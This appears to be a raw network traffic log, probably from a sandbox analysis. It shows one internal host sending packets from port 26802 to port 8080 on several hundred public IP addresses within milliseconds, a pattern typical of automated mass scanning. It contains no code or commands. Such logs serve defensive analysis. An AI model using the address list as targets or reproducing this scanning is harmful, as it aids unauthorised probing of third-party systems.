Feb 19, 2025 19:43:18.274843931 CET	26802	8080	192.168.2.13	85.207.68.38
Feb 19, 2025 19:43:18.274853945 CET	26802	8080	192.168.2.13	31.11.82.187
Feb 19, 2025 19:43:18.274861097 CET	26802	8080	192.168.2.13	62.161.233.93
Feb 19, 2025 19:43:18.274864912 CET	26802	8080	192.168.2.13	62.1.1.247
Feb 19, 2025 19:43:18.274889946 CET	26802	8080	192.168.2.13	95.145.16.227
Feb 19, 2025 19:43:18.274894953 CET	26802	8080	192.168.2.13	94.88.241.94
Feb 19, 2025 19:43:18.274894953 CET	26802	8080	192.168.2.13	62.47.235.55
Feb 19, 2025 19:43:18.274910927 CET	26802	8080	192.168.2.13	62.49.83.195
Feb 19, 2025 19:43:18.274910927 CET	26802	8080	192.168.2.13	62.21.191.239
Feb 19, 2025 19:43:18.274931908 CET	26802	8080	192.168.2.13	94.212.228.183
Feb 19, 2025 19:43:18.274944067 CET	26802	8080	192.168.2.13	85.86.163.34
Feb 19, 2025 19:43:18.274949074 CET	26802	8080	192.168.2.13	94.40.71.236
Feb 19, 2025 19:43:18.274961948 CET	26802	8080	192.168.2.13	94.35.3.131
Feb 19, 2025 19:43:18.274975061 CET	26802	8080	192.168.2.13	95.179.184.33
Feb 19, 2025 19:43:18.274986029 CET	26802	8080	192.168.2.13	31.76.34.1
Feb 19, 2025 19:43:18.274995089 CET	26802	8080	192.168.2.13	94.141.166.240
Feb 19, 2025 19:43:18.275011063 CET	26802	8080	192.168.2.13	85.18.148.187
Feb 19, 2025 19:43:18.275018930 CET	26802	8080	192.168.2.13	62.113.132.241
Feb 19, 2025 19:43:18.275027990 CET	26802	8080	192.168.2.13	62.147.153.130
Feb 19, 2025 19:43:18.275032997 CET	26802	8080	192.168.2.13	94.61.44.52
Feb 19, 2025 19:43:18.275047064 CET	26802	8080	192.168.2.13	94.50.159.180
Feb 19, 2025 19:43:18.275058031 CET	26802	8080	192.168.2.13	62.35.163.229
Feb 19, 2025 19:43:18.275074005 CET	26802	8080	192.168.2.13	31.10.31.146
Feb 19, 2025 19:43:18.275074959 CET	26802	8080	192.168.2.13	62.166.44.209
Feb 19, 2025 19:43:18.275089979 CET	26802	8080	192.168.2.13	94.41.132.158
Feb 19, 2025 19:43:18.275095940 CET	26802	8080	192.168.2.13	31.112.111.79
Feb 19, 2025 19:43:18.275110006 CET	26802	8080	192.168.2.13	62.254.97.246
Feb 19, 2025 19:43:18.275115013 CET	26802	8080	192.168.2.13	85.218.59.192
Feb 19, 2025 19:43:18.275132895 CET	26802	8080	192.168.2.13	94.105.122.23
Feb 19, 2025 19:43:18.275139093 CET	26802	8080	192.168.2.13	62.144.110.231
Feb 19, 2025 19:43:18.275140047 CET	26802	8080	192.168.2.13	85.45.22.31
Feb 19, 2025 19:43:18.275151968 CET	26802	8080	192.168.2.13	31.156.113.49
Feb 19, 2025 19:43:18.275151968 CET	26802	8080	192.168.2.13	94.37.51.183
Feb 19, 2025 19:43:18.275185108 CET	26802	8080	192.168.2.13	85.85.208.103
Feb 19, 2025 19:43:18.275198936 CET	26802	8080	192.168.2.13	95.107.243.109
Feb 19, 2025 19:43:18.275198936 CET	26802	8080	192.168.2.13	85.153.130.176
Feb 19, 2025 19:43:18.275198936 CET	26802	8080	192.168.2.13	94.176.205.238
Feb 19, 2025 19:43:18.275207043 CET	26802	8080	192.168.2.13	62.234.141.93
Feb 19, 2025 19:43:18.275219917 CET	26802	8080	192.168.2.13	94.252.114.105
Feb 19, 2025 19:43:18.275219917 CET	26802	8080	192.168.2.13	31.130.223.66
Feb 19, 2025 19:43:18.275229931 CET	26802	8080	192.168.2.13	31.243.43.23
Feb 19, 2025 19:43:18.275229931 CET	26802	8080	192.168.2.13	31.199.168.17
Feb 19, 2025 19:43:18.275243998 CET	26802	8080	192.168.2.13	31.174.197.55
Feb 19, 2025 19:43:18.275247097 CET	26802	8080	192.168.2.13	31.83.204.107
Feb 19, 2025 19:43:18.275264025 CET	26802	8080	192.168.2.13	94.124.216.124
Feb 19, 2025 19:43:18.275291920 CET	26802	8080	192.168.2.13	94.88.76.96
Feb 19, 2025 19:43:18.275300980 CET	26802	8080	192.168.2.13	94.138.166.233
Feb 19, 2025 19:43:18.275311947 CET	26802	8080	192.168.2.13	62.113.239.22
Feb 19, 2025 19:43:18.275327921 CET	26802	8080	192.168.2.13	31.137.51.131
Feb 19, 2025 19:43:18.275342941 CET	26802	8080	192.168.2.13	85.95.99.151
Feb 19, 2025 19:43:18.275345087 CET	26802	8080	192.168.2.13	62.82.85.224
Feb 19, 2025 19:43:18.275355101 CET	26802	8080	192.168.2.13	94.73.33.46
Feb 19, 2025 19:43:18.275362968 CET	26802	8080	192.168.2.13	85.159.41.106
Feb 19, 2025 19:43:18.275367975 CET	26802	8080	192.168.2.13	85.18.168.122
Feb 19, 2025 19:43:18.275377989 CET	26802	8080	192.168.2.13	94.233.199.183
Feb 19, 2025 19:43:18.275394917 CET	26802	8080	192.168.2.13	94.109.79.161
Feb 19, 2025 19:43:18.275399923 CET	26802	8080	192.168.2.13	31.46.194.86
Feb 19, 2025 19:43:18.275399923 CET	26802	8080	192.168.2.13	95.23.97.136
Feb 19, 2025 19:43:18.275399923 CET	26802	8080	192.168.2.13	85.9.117.45
Feb 19, 2025 19:43:18.275399923 CET	26802	8080	192.168.2.13	85.61.167.227
Feb 19, 2025 19:43:18.275422096 CET	26802	8080	192.168.2.13	94.251.255.28
Feb 19, 2025 19:43:18.275424004 CET	26802	8080	192.168.2.13	31.155.29.31
Feb 19, 2025 19:43:18.275424957 CET	26802	8080	192.168.2.13	85.87.7.122
Feb 19, 2025 19:43:18.275439978 CET	26802	8080	192.168.2.13	85.170.92.11
Feb 19, 2025 19:43:18.275451899 CET	26802	8080	192.168.2.13	85.87.22.91
Feb 19, 2025 19:43:18.275471926 CET	26802	8080	192.168.2.13	95.43.216.173
Feb 19, 2025 19:43:18.275473118 CET	26802	8080	192.168.2.13	85.62.129.16
Feb 19, 2025 19:43:18.275481939 CET	26802	8080	192.168.2.13	94.111.110.250
Feb 19, 2025 19:43:18.275484085 CET	26802	8080	192.168.2.13	94.133.140.53
Feb 19, 2025 19:43:18.275497913 CET	26802	8080	192.168.2.13	95.201.166.34
Feb 19, 2025 19:43:18.275511980 CET	26802	8080	192.168.2.13	31.181.0.99
Feb 19, 2025 19:43:18.275515079 CET	26802	8080	192.168.2.13	31.127.141.4
Feb 19, 2025 19:43:18.275532007 CET	26802	8080	192.168.2.13	62.185.111.4
Feb 19, 2025 19:43:18.275537014 CET	26802	8080	192.168.2.13	94.70.62.226
Feb 19, 2025 19:43:18.275547981 CET	26802	8080	192.168.2.13	31.104.30.49
Feb 19, 2025 19:43:18.275547981 CET	26802	8080	192.168.2.13	62.209.67.130
Feb 19, 2025 19:43:18.275559902 CET	8080	26802	62.242.206.92	192.168.2.13
Feb 19, 2025 19:43:18.275568008 CET	26802	8080	192.168.2.13	95.216.156.108
Feb 19, 2025 19:43:18.275577068 CET	26802	8080	192.168.2.13	62.148.103.254
Feb 19, 2025 19:43:18.275605917 CET	26802	8080	192.168.2.13	62.242.206.92
Feb 19, 2025 19:43:18.275609016 CET	26802	8080	192.168.2.13	94.49.224.78
Feb 19, 2025 19:43:18.275620937 CET	26802	8080	192.168.2.13	31.100.156.38
Feb 19, 2025 19:43:18.275630951 CET	26802	8080	192.168.2.13	95.173.99.211
Feb 19, 2025 19:43:18.275631905 CET	26802	8080	192.168.2.13	31.219.33.58
Feb 19, 2025 19:43:18.275640011 CET	26802	8080	192.168.2.13	31.197.150.43
Feb 19, 2025 19:43:18.275660038 CET	26802	8080	192.168.2.13	62.50.218.132
Feb 19, 2025 19:43:18.275661945 CET	26802	8080	192.168.2.13	62.43.64.143
Feb 19, 2025 19:43:18.275676012 CET	26802	8080	192.168.2.13	62.83.140.82
Feb 19, 2025 19:43:18.275686026 CET	26802	8080	192.168.2.13	85.107.40.170
Feb 19, 2025 19:43:18.275688887 CET	26802	8080	192.168.2.13	95.26.57.24
Feb 19, 2025 19:43:18.275690079 CET	26802	8080	192.168.2.13	62.57.234.54
Feb 19, 2025 19:43:18.275708914 CET	26802	8080	192.168.2.13	95.106.84.194
Feb 19, 2025 19:43:18.275717020 CET	26802	8080	192.168.2.13	95.75.94.240
Feb 19, 2025 19:43:18.275726080 CET	26802	8080	192.168.2.13	62.149.50.196
Feb 19, 2025 19:43:18.275733948 CET	26802	8080	192.168.2.13	62.100.131.146
Feb 19, 2025 19:43:18.275738001 CET	26802	8080	192.168.2.13	95.58.233.245
Feb 19, 2025 19:43:18.275753021 CET	26802	8080	192.168.2.13	94.141.20.119
Feb 19, 2025 19:43:18.275763035 CET	26802	8080	192.168.2.13	31.2.91.117
Feb 19, 2025 19:43:18.275773048 CET	26802	8080	192.168.2.13	95.5.43.131
Feb 19, 2025 19:43:18.275779009 CET	26802	8080	192.168.2.13	31.79.106.29
Feb 19, 2025 19:43:18.275796890 CET	26802	8080	192.168.2.13	31.17.117.129
Feb 19, 2025 19:43:18.275806904 CET	26802	8080	192.168.2.13	62.250.116.54
Feb 19, 2025 19:43:18.275810003 CET	26802	8080	192.168.2.13	94.239.93.1
Feb 19, 2025 19:43:18.275820017 CET	26802	8080	192.168.2.13	62.46.182.175
Feb 19, 2025 19:43:18.275835991 CET	26802	8080	192.168.2.13	95.70.228.48
Feb 19, 2025 19:43:18.275837898 CET	26802	8080	192.168.2.13	94.156.99.32
Feb 19, 2025 19:43:18.275856972 CET	26802	8080	192.168.2.13	31.217.93.80
Feb 19, 2025 19:43:18.275861025 CET	26802	8080	192.168.2.13	31.73.145.146
Feb 19, 2025 19:43:18.275861025 CET	26802	8080	192.168.2.13	95.101.204.7
Feb 19, 2025 19:43:18.275866985 CET	26802	8080	192.168.2.13	31.91.190.131
Feb 19, 2025 19:43:18.275873899 CET	26802	8080	192.168.2.13	85.181.45.166
Feb 19, 2025 19:43:18.275887966 CET	26802	8080	192.168.2.13	95.99.16.119
Feb 19, 2025 19:43:18.275895119 CET	26802	8080	192.168.2.13	31.46.249.31
Feb 19, 2025 19:43:18.275903940 CET	26802	8080	192.168.2.13	95.33.181.149
Feb 19, 2025 19:43:18.275917053 CET	26802	8080	192.168.2.13	95.25.94.253
Feb 19, 2025 19:43:18.275934935 CET	26802	8080	192.168.2.13	94.99.84.108
Feb 19, 2025 19:43:18.275938988 CET	26802	8080	192.168.2.13	31.230.209.91
Feb 19, 2025 19:43:18.275940895 CET	26802	8080	192.168.2.13	31.158.81.114
Feb 19, 2025 19:43:18.275948048 CET	26802	8080	192.168.2.13	95.14.117.131
Feb 19, 2025 19:43:18.275964022 CET	26802	8080	192.168.2.13	95.169.166.66
Feb 19, 2025 19:43:18.275974035 CET	26802	8080	192.168.2.13	31.144.135.45
Feb 19, 2025 19:43:18.275978088 CET	26802	8080	192.168.2.13	31.170.159.33
Feb 19, 2025 19:43:18.276005983 CET	26802	8080	192.168.2.13	94.240.59.204
Feb 19, 2025 19:43:18.276009083 CET	26802	8080	192.168.2.13	95.56.58.112
Feb 19, 2025 19:43:18.276021004 CET	26802	8080	192.168.2.13	85.29.19.41
Feb 19, 2025 19:43:18.276022911 CET	26802	8080	192.168.2.13	95.37.52.95
Feb 19, 2025 19:43:18.276051044 CET	26802	8080	192.168.2.13	62.47.206.178
Feb 19, 2025 19:43:18.276062012 CET	26802	8080	192.168.2.13	62.235.36.204
Feb 19, 2025 19:43:18.276071072 CET	26802	8080	192.168.2.13	94.96.89.207
Feb 19, 2025 19:43:18.276071072 CET	26802	8080	192.168.2.13	94.242.93.100
Feb 19, 2025 19:43:18.276083946 CET	26802	8080	192.168.2.13	94.222.8.136
Feb 19, 2025 19:43:18.276102066 CET	26802	8080	192.168.2.13	31.196.34.83
Feb 19, 2025 19:43:18.276113987 CET	26802	8080	192.168.2.13	62.8.182.227
Feb 19, 2025 19:43:18.276128054 CET	26802	8080	192.168.2.13	94.39.249.65
Feb 19, 2025 19:43:18.276129961 CET	26802	8080	192.168.2.13	31.75.148.144
Feb 19, 2025 19:43:18.276155949 CET	26802	8080	192.168.2.13	62.134.38.26
Feb 19, 2025 19:43:18.276155949 CET	26802	8080	192.168.2.13	95.203.247.163
Feb 19, 2025 19:43:18.276180983 CET	26802	8080	192.168.2.13	85.127.239.178
Feb 19, 2025 19:43:18.276199102 CET	26802	8080	192.168.2.13	95.42.0.225
Feb 19, 2025 19:43:18.276213884 CET	26802	8080	192.168.2.13	31.16.55.238
Feb 19, 2025 19:43:18.276230097 CET	26802	8080	192.168.2.13	62.103.191.32
Feb 19, 2025 19:43:18.276242971 CET	26802	8080	192.168.2.13	62.26.216.137
Feb 19, 2025 19:43:18.276249886 CET	26802	8080	192.168.2.13	94.240.172.246
Feb 19, 2025 19:43:18.276266098 CET	26802	8080	192.168.2.13	62.121.149.4
Feb 19, 2025 19:43:18.276278019 CET	26802	8080	192.168.2.13	95.38.219.45
Feb 19, 2025 19:43:18.276285887 CET	26802	8080	192.168.2.13	31.181.134.101
Feb 19, 2025 19:43:18.276300907 CET	26802	8080	192.168.2.13	94.74.223.57
Feb 19, 2025 19:43:18.276312113 CET	26802	8080	192.168.2.13	95.241.250.47
Feb 19, 2025 19:43:18.276319981 CET	26802	8080	192.168.2.13	94.14.255.79
Feb 19, 2025 19:43:18.276330948 CET	26802	8080	192.168.2.13	62.129.229.64
Feb 19, 2025 19:43:18.276340008 CET	26802	8080	192.168.2.13	95.7.244.118
Feb 19, 2025 19:43:18.276340008 CET	26802	8080	192.168.2.13	62.72.7.167
Feb 19, 2025 19:43:18.276352882 CET	26802	8080	192.168.2.13	62.175.140.229
Feb 19, 2025 19:43:18.276366949 CET	26802	8080	192.168.2.13	31.116.20.209
Feb 19, 2025 19:43:18.276375055 CET	26802	8080	192.168.2.13	95.89.94.202
Feb 19, 2025 19:43:18.276390076 CET	26802	8080	192.168.2.13	85.117.218.19
Feb 19, 2025 19:43:18.276401043 CET	26802	8080	192.168.2.13	95.64.159.90
Feb 19, 2025 19:43:18.276407003 CET	26802	8080	192.168.2.13	85.248.110.48
Feb 19, 2025 19:43:18.276417017 CET	26802	8080	192.168.2.13	62.181.54.64
Feb 19, 2025 19:43:18.276431084 CET	26802	8080	192.168.2.13	95.106.217.15
Feb 19, 2025 19:43:18.276437044 CET	26802	8080	192.168.2.13	94.103.77.7
Feb 19, 2025 19:43:18.276454926 CET	26802	8080	192.168.2.13	95.219.86.30
Feb 19, 2025 19:43:18.276454926 CET	26802	8080	192.168.2.13	62.170.62.162
Feb 19, 2025 19:43:18.276468039 CET	26802	8080	192.168.2.13	94.47.205.161
Feb 19, 2025 19:43:18.276500940 CET	26802	8080	192.168.2.13	94.170.30.133
Feb 19, 2025 19:43:18.276511908 CET	26802	8080	192.168.2.13	31.230.221.228
Feb 19, 2025 19:43:18.276521921 CET	26802	8080	192.168.2.13	62.222.246.210
Feb 19, 2025 19:43:18.276531935 CET	26802	8080	192.168.2.13	94.111.109.241
Feb 19, 2025 19:43:18.276544094 CET	26802	8080	192.168.2.13	94.160.19.116
Feb 19, 2025 19:43:18.276551962 CET	26802	8080	192.168.2.13	31.82.235.70
Feb 19, 2025 19:43:18.276559114 CET	26802	8080	192.168.2.13	95.178.45.41
Feb 19, 2025 19:43:18.276576042 CET	26802	8080	192.168.2.13	31.119.140.235
Feb 19, 2025 19:43:18.276578903 CET	26802	8080	192.168.2.13	31.155.90.100
Feb 19, 2025 19:43:18.276578903 CET	26802	8080	192.168.2.13	31.169.151.218
Feb 19, 2025 19:43:18.276586056 CET	26802	8080	192.168.2.13	94.4.104.210
Feb 19, 2025 19:43:18.276592016 CET	26802	8080	192.168.2.13	31.236.126.85
Feb 19, 2025 19:43:18.276602030 CET	26802	8080	192.168.2.13	62.57.41.40
Feb 19, 2025 19:43:18.276614904 CET	26802	8080	192.168.2.13	95.247.242.133
Feb 19, 2025 19:43:18.276632071 CET	26802	8080	192.168.2.13	31.180.187.148
Feb 19, 2025 19:43:18.276639938 CET	26802	8080	192.168.2.13	62.253.249.71
Feb 19, 2025 19:43:18.276653051 CET	26802	8080	192.168.2.13	95.79.178.242
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	95.197.10.25
Feb 19, 2025 19:43:18.276655912 CET	26802	8080	192.168.2.13	95.104.192.235
Feb 19, 2025 19:43:18.276655912 CET	26802	8080	192.168.2.13	31.220.73.92
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	94.41.221.116
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	85.107.245.108
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	85.236.56.203
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	94.151.115.113
Feb 19, 2025 19:43:18.276657104 CET	26802	8080	192.168.2.13	95.111.31.160
Feb 19, 2025 19:43:18.276669979 CET	26802	8080	192.168.2.13	85.138.226.62
Feb 19, 2025 19:43:18.276671886 CET	26802	8080	192.168.2.13	62.89.2.77
Feb 19, 2025 19:43:18.276679039 CET	26802	8080	192.168.2.13	94.254.151.184
Feb 19, 2025 19:43:18.276679039 CET	26802	8080	192.168.2.13	85.65.10.143
Feb 19, 2025 19:43:18.276684999 CET	26802	8080	192.168.2.13	85.167.118.79
Feb 19, 2025 19:43:18.276695967 CET	26802	8080	192.168.2.13	94.114.183.41
Feb 19, 2025 19:43:18.276705980 CET	26802	8080	192.168.2.13	85.206.165.201
Feb 19, 2025 19:43:18.276714087 CET	26802	8080	192.168.2.13	95.205.175.57
Feb 19, 2025 19:43:18.276726961 CET	26802	8080	192.168.2.13	31.234.97.150
Feb 19, 2025 19:43:18.276737928 CET	26802	8080	192.168.2.13	62.61.116.45
Feb 19, 2025 19:43:18.276737928 CET	26802	8080	192.168.2.13	94.205.137.140
Feb 19, 2025 19:43:18.276741028 CET	26802	8080	192.168.2.13	95.243.57.20
Feb 19, 2025 19:43:18.276757002 CET	26802	8080	192.168.2.13	95.240.51.188
Feb 19, 2025 19:43:18.276758909 CET	26802	8080	192.168.2.13	94.38.131.249
Feb 19, 2025 19:43:18.276777029 CET	26802	8080	192.168.2.13	31.100.165.219
Feb 19, 2025 19:43:18.276796103 CET	26802	8080	192.168.2.13	95.252.82.23
Feb 19, 2025 19:43:18.276804924 CET	26802	8080	192.168.2.13	85.190.157.75
Feb 19, 2025 19:43:18.276813030 CET	26802	8080	192.168.2.13	62.48.34.236
Feb 19, 2025 19:43:18.276824951 CET	26802	8080	192.168.2.13	94.48.177.144
Feb 19, 2025 19:43:18.276840925 CET	26802	8080	192.168.2.13	94.97.105.178
Feb 19, 2025 19:43:18.276856899 CET	26802	8080	192.168.2.13	31.126.175.107
Feb 19, 2025 19:43:18.276856899 CET	26802	8080	192.168.2.13	85.188.6.214
Feb 19, 2025 19:43:18.276865005 CET	26802	8080	192.168.2.13	95.86.106.179
Feb 19, 2025 19:43:18.276870012 CET	26802	8080	192.168.2.13	85.231.27.127
Feb 19, 2025 19:43:18.276881933 CET	26802	8080	192.168.2.13	62.67.40.86
Feb 19, 2025 19:43:18.276881933 CET	26802	8080	192.168.2.13	94.241.91.142
Feb 19, 2025 19:43:18.276881933 CET	26802	8080	192.168.2.13	95.220.149.165
Feb 19, 2025 19:43:18.276884079 CET	26802	8080	192.168.2.13	62.8.150.254
Feb 19, 2025 19:43:18.276901007 CET	26802	8080	192.168.2.13	85.127.42.97
Feb 19, 2025 19:43:18.276911020 CET	26802	8080	192.168.2.13	62.113.238.210
Feb 19, 2025 19:43:18.276917934 CET	26802	8080	192.168.2.13	94.220.210.238
Feb 19, 2025 19:43:18.276937962 CET	26802	8080	192.168.2.13	31.32.44.194
Feb 19, 2025 19:43:18.276952028 CET	26802	8080	192.168.2.13	62.96.20.241
Feb 19, 2025 19:43:18.276952028 CET	26802	8080	192.168.2.13	62.24.117.116
Feb 19, 2025 19:43:18.276962042 CET	26802	8080	192.168.2.13	95.243.231.199
Feb 19, 2025 19:43:18.276974916 CET	26802	8080	192.168.2.13	62.162.16.172
Feb 19, 2025 19:43:18.276982069 CET	26802	8080	192.168.2.13	62.177.188.250
Feb 19, 2025 19:43:18.277009964 CET	26802	8080	192.168.2.13	95.3.177.251
Feb 19, 2025 19:43:18.277010918 CET	26802	8080	192.168.2.13	31.44.191.21
Feb 19, 2025 19:43:18.277021885 CET	26802	8080	192.168.2.13	94.248.181.121
Feb 19, 2025 19:43:18.277023077 CET	26802	8080	192.168.2.13	95.87.250.16
Feb 19, 2025 19:43:18.277035952 CET	26802	8080	192.168.2.13	31.124.122.60
Feb 19, 2025 19:43:18.277050972 CET	26802	8080	192.168.2.13	94.153.39.206
Feb 19, 2025 19:43:18.277060032 CET	26802	8080	192.168.2.13	94.143.243.23
Feb 19, 2025 19:43:18.277089119 CET	26802	8080	192.168.2.13	95.141.16.96
Feb 19, 2025 19:43:18.277090073 CET	26802	8080	192.168.2.13	95.231.101.123
Feb 19, 2025 19:43:18.277090073 CET	26802	8080	192.168.2.13	94.139.4.41
Feb 19, 2025 19:43:18.277093887 CET	26802	8080	192.168.2.13	62.211.60.33
Feb 19, 2025 19:43:18.277101994 CET	26802	8080	192.168.2.13	62.113.146.28
Feb 19, 2025 19:43:18.277124882 CET	26802	8080	192.168.2.13	62.248.12.121
Feb 19, 2025 19:43:18.277133942 CET	26802	8080	192.168.2.13	95.223.227.110
Feb 19, 2025 19:43:18.277146101 CET	26802	8080	192.168.2.13	31.131.191.76
Feb 19, 2025 19:43:18.277153969 CET	26802	8080	192.168.2.13	85.36.177.220
Feb 19, 2025 19:43:18.277167082 CET	26802	8080	192.168.2.13	31.142.25.79
Feb 19, 2025 19:43:18.277183056 CET	26802	8080	192.168.2.13	31.137.150.121
Feb 19, 2025 19:43:18.277183056 CET	26802	8080	192.168.2.13	95.86.211.89
Feb 19, 2025 19:43:18.277209044 CET	26802	8080	192.168.2.13	95.15.20.168
Feb 19, 2025 19:43:18.277209044 CET	26802	8080	192.168.2.13	95.62.88.23
Feb 19, 2025 19:43:18.277225971 CET	26802	8080	192.168.2.13	31.69.40.133
Feb 19, 2025 19:43:18.277236938 CET	26802	8080	192.168.2.13	95.210.237.190
Feb 19, 2025 19:43:18.277251005 CET	26802	8080	192.168.2.13	85.149.255.182
Feb 19, 2025 19:43:18.277261972 CET	26802	8080	192.168.2.13	85.175.180.228
Feb 19, 2025 19:43:18.277276039 CET	26802	8080	192.168.2.13	62.86.133.142
Feb 19, 2025 19:43:18.277281046 CET	26802	8080	192.168.2.13	85.150.241.172
Feb 19, 2025 19:43:18.277301073 CET	26802	8080	192.168.2.13	85.193.98.188
Feb 19, 2025 19:43:18.277316093 CET	26802	8080	192.168.2.13	31.72.166.131
Feb 19, 2025 19:43:18.277316093 CET	26802	8080	192.168.2.13	94.70.228.57
Feb 19, 2025 19:43:18.277328014 CET	26802	8080	192.168.2.13	85.147.70.240
Feb 19, 2025 19:43:18.277339935 CET	26802	8080	192.168.2.13	31.229.47.44
Feb 19, 2025 19:43:18.277339935 CET	26802	8080	192.168.2.13	31.27.40.211
Feb 19, 2025 19:43:18.277354002 CET	26802	8080	192.168.2.13	94.53.101.178
Feb 19, 2025 19:43:18.277355909 CET	26802	8080	192.168.2.13	85.181.146.178
Feb 19, 2025 19:43:18.277376890 CET	26802	8080	192.168.2.13	62.43.210.213
Feb 19, 2025 19:43:18.277376890 CET	26802	8080	192.168.2.13	94.103.239.246
Feb 19, 2025 19:43:18.277406931 CET	26802	8080	192.168.2.13	94.46.216.252
Feb 19, 2025 19:43:18.277414083 CET	26802	8080	192.168.2.13	94.224.224.4
Feb 19, 2025 19:43:18.277414083 CET	26802	8080	192.168.2.13	62.7.11.4
Feb 19, 2025 19:43:18.277421951 CET	26802	8080	192.168.2.13	85.32.228.40
Feb 19, 2025 19:43:18.277421951 CET	26802	8080	192.168.2.13	85.128.59.23
Feb 19, 2025 19:43:18.277439117 CET	26802	8080	192.168.2.13	94.188.212.44
Feb 19, 2025 19:43:18.277451992 CET	26802	8080	192.168.2.13	31.100.97.67
Feb 19, 2025 19:43:18.277465105 CET	26802	8080	192.168.2.13	31.111.182.190
Feb 19, 2025 19:43:18.277487993 CET	26802	8080	192.168.2.13	31.85.118.149
Feb 19, 2025 19:43:18.277489901 CET	26802	8080	192.168.2.13	94.158.101.141
Feb 19, 2025 19:43:18.277504921 CET	26802	8080	192.168.2.13	94.171.165.132
Feb 19, 2025 19:43:18.277512074 CET	26802	8080	192.168.2.13	62.123.109.167
Feb 19, 2025 19:43:18.277523994 CET	26802	8080	192.168.2.13	62.106.120.36
Feb 19, 2025 19:43:18.277525902 CET	26802	8080	192.168.2.13	94.109.53.0
Feb 19, 2025 19:43:18.277539015 CET	26802	8080	192.168.2.13	31.37.240.207
Feb 19, 2025 19:43:18.277549982 CET	26802	8080	192.168.2.13	94.18.98.139
Feb 19, 2025 19:43:18.277575016 CET	26802	8080	192.168.2.13	95.139.26.6
Feb 19, 2025 19:43:18.277587891 CET	26802	8080	192.168.2.13	31.167.191.64
Feb 19, 2025 19:43:18.277596951 CET	26802	8080	192.168.2.13	94.29.115.104
Feb 19, 2025 19:43:18.277611971 CET	26802	8080	192.168.2.13	95.118.153.84
Feb 19, 2025 19:43:18.277632952 CET	26802	8080	192.168.2.13	85.175.188.13
Feb 19, 2025 19:43:18.277646065 CET	26802	8080	192.168.2.13	31.90.55.184
Feb 19, 2025 19:43:18.277646065 CET	26802	8080	192.168.2.13	62.127.69.130
Feb 19, 2025 19:43:18.277662992 CET	26802	8080	192.168.2.13	62.247.91.223
Feb 19, 2025 19:43:18.277666092 CET	26802	8080	192.168.2.13	31.180.54.72
Feb 19, 2025 19:43:18.277682066 CET	26802	8080	192.168.2.13	85.41.48.110
Feb 19, 2025 19:43:18.277686119 CET	26802	8080	192.168.2.13	95.193.139.4
Feb 19, 2025 19:43:18.277686119 CET	26802	8080	192.168.2.13	62.82.100.104
Feb 19, 2025 19:43:18.277709007 CET	26802	8080	192.168.2.13	62.245.185.160
Feb 19, 2025 19:43:18.277709961 CET	26802	8080	192.168.2.13	85.163.15.172
Feb 19, 2025 19:43:18.277719975 CET	26802	8080	192.168.2.13	85.182.71.82
Feb 19, 2025 19:43:18.277734041 CET	26802	8080	192.168.2.13	95.144.234.163
Feb 19, 2025 19:43:18.277734995 CET	26802	8080	192.168.2.13	62.4.133.207
Feb 19, 2025 19:43:18.277769089 CET	26802	8080	192.168.2.13	31.213.69.160
Feb 19, 2025 19:43:18.277769089 CET	26802	8080	192.168.2.13	94.162.74.116
Feb 19, 2025 19:43:18.277772903 CET	26802	8080	192.168.2.13	62.0.253.108
Feb 19, 2025 19:43:18.277780056 CET	26802	8080	192.168.2.13	31.31.89.233
Feb 19, 2025 19:43:18.277787924 CET	26802	8080	192.168.2.13	94.177.20.36
Feb 19, 2025 19:43:18.277802944 CET	26802	8080	192.168.2.13	31.195.65.177
Feb 19, 2025 19:43:18.277813911 CET	26802	8080	192.168.2.13	95.72.187.216
Feb 19, 2025 19:43:18.277827978 CET	26802	8080	192.168.2.13	94.37.127.246
Feb 19, 2025 19:43:18.277848005 CET	26802	8080	192.168.2.13	62.68.30.74
Feb 19, 2025 19:43:18.277848005 CET	26802	8080	192.168.2.13	62.100.204.4
Feb 19, 2025 19:43:18.277849913 CET	26802	8080	192.168.2.13	94.13.219.206
Feb 19, 2025 19:43:18.277868032 CET	26802	8080	192.168.2.13	95.229.141.219
Feb 19, 2025 19:43:18.277869940 CET	26802	8080	192.168.2.13	62.115.25.75
Feb 19, 2025 19:43:18.277896881 CET	26802	8080	192.168.2.13	62.71.94.89
Feb 19, 2025 19:43:18.277908087 CET	26802	8080	192.168.2.13	85.116.222.72
Feb 19, 2025 19:43:18.277916908 CET	26802	8080	192.168.2.13	94.183.139.130
Feb 19, 2025 19:43:18.277928114 CET	26802	8080	192.168.2.13	31.111.190.196
Feb 19, 2025 19:43:18.277940989 CET	26802	8080	192.168.2.13	95.194.18.26
Feb 19, 2025 19:43:18.277946949 CET	26802	8080	192.168.2.13	85.244.232.159
Feb 19, 2025 19:43:18.277949095 CET	26802	8080	192.168.2.13	95.19.31.21
Feb 19, 2025 19:43:18.277966976 CET	26802	8080	192.168.2.13	31.237.86.184
Feb 19, 2025 19:43:18.277966976 CET	26802	8080	192.168.2.13	31.122.244.74
Feb 19, 2025 19:43:18.277966976 CET	26802	8080	192.168.2.13	62.100.149.3
Feb 19, 2025 19:43:18.277967930 CET	26802	8080	192.168.2.13	85.231.4.93
Feb 19, 2025 19:43:18.277967930 CET	26802	8080	192.168.2.13	62.32.246.8
Feb 19, 2025 19:43:18.277967930 CET	26802	8080	192.168.2.13	62.249.92.248
Feb 19, 2025 19:43:18.277967930 CET	26802	8080	192.168.2.13	62.77.215.129
Feb 19, 2025 19:43:18.277971029 CET	26802	8080	192.168.2.13	94.220.181.166
Feb 19, 2025 19:43:18.277983904 CET	26802	8080	192.168.2.13	95.105.46.36
Feb 19, 2025 19:43:18.277992964 CET	26802	8080	192.168.2.13	62.239.6.76
Feb 19, 2025 19:43:18.277992964 CET	26802	8080	192.168.2.13	62.38.222.132
Feb 19, 2025 19:43:18.277992964 CET	26802	8080	192.168.2.13	94.40.190.185
Feb 19, 2025 19:43:18.277992964 CET	26802	8080	192.168.2.13	31.42.66.214
Feb 19, 2025 19:43:18.277992964 CET	26802	8080	192.168.2.13	62.177.123.131
Feb 19, 2025 19:43:18.278004885 CET	26802	8080	192.168.2.13	94.239.43.66
Feb 19, 2025 19:43:18.278012991 CET	26802	8080	192.168.2.13	31.174.102.189
Feb 19, 2025 19:43:18.278037071 CET	26802	8080	192.168.2.13	31.116.248.93
